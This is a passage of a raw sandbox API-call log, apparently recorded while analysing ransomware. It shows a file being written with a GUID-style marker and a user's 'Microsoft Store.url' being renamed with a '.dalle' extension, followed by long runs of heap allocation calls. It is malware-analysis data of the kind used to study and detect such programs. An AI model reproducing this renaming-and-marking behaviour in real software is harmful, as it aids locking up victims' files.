out: hHeap=0x5e0000) returned 1 [0121.333] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0121.333] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0121.333] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.333] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.333] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0121.333] CloseHandle (hObject=0x618) returned 1 [0121.333] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa0) returned 0x2ffff40 [0121.333] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8b0) returned 0x3096780 [0121.334] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ffff40 | out: hHeap=0x5e0000) returned 1 [0121.334] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.dalle")) returned 1 [0121.334] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0121.334] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.335] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2ff6cb8 | out: hHeap=0x5e0000) returned 1 [0121.335] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0121.335] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0121.335] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0121.335] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0121.335] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0121.335] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0121.335] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0121.335] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.335] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.335] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.335] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.335] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.336] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.336] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.337] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.337] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.338] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.338] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.339] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.339] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.340] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.340] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.341] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.341] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0121.342] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018740 | out: hHeap=0x5e0000) returned 1 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018740 [0121.342] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, 